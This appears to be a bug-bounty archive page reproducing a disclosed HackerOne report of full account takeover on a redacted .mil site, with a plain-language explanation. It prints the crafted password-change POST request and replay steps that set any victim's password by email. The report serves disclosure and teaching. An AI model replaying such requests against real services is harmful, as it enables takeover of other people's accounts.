Skip to content
Account takeover Disclosed report Beginner

Full account takeover on https://████████.mil

The password change endpoint accepted a request containing any victim's email address and a new password, without verifying that the requester was authenticated as that user. An attacker could set a new password for any account and take it over.

raywando Follow

Originally disclosed on HackerOne

Critical View original
  • Triaged in 22 hours
  • Fixed in 39 days
  • Disclosed after 43 days

###Description

The flow in application is to sign up and wait for an email containing a one-time password, as soon as you login using that password, it asks you to change it. I took that password change request and applied on any email changing their password and it worked

###Steps to produce:

1- Copy the following request: (note txtEMail and txtNewPassword parameters)

POST /Login.aspx HTTP/1.1
Host: ██████████.mil
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 1052
Origin: https://█████.mil
Connection: close
Referer: https://██████.mil/Login.aspx
Upgrade-Insecure-Requests: 1

__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=████&__VIEWSTATEENCRYPTED=&__EVENTVALIDATION=█████████&txtMail=&txtEMail=[VICTIM_EMAIL]&reqEMailE_ClientState=&revEMailE_ClientState=&txtNewPassword=[DESIRED_PASSWORD]&btnNewPassword=Submit

2- Now, log in using any victim email with a random password and intercept the request at https://█████.mil/Login.aspx 3- Paste the request you copied above and change the txtEMail (to victim email) and txtNewPassword parameters and send it.

Impact

Full account takeover on any user.

The original report as published on HackerOne, by raywando. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the password change endpoint trusted the email address supplied in the request instead of binding the change to the authenticated session.

Impact

Full account takeover on any user.

What the attacker needed

Knowledge of the victim's email address; ability to send a crafted HTTP request

How it was found

  1. Capture the password change request sent after first login.
  2. Log in with any email and a random password and intercept the request to the login page.
  3. Replace the email and new password parameters with the victim's email and a chosen password, then send the request.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you change your password, the website should check that you are logged in as the account you are changing. Here, the request only needed an email address and a new password, so anyone could send it for someone else's email and set their password. That lets an attacker log in as the victim.

What is Account takeover?

Getting into someone else's account through a flaw in sign-in, password reset, second factor, single sign-on or session handling.

More by raywando

View all

1 more disclosed report, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Account takeover

The lesson behind this report.

Getting into someone else's account through a flaw in sign-in, password reset, second factor, single sign-on or session handling.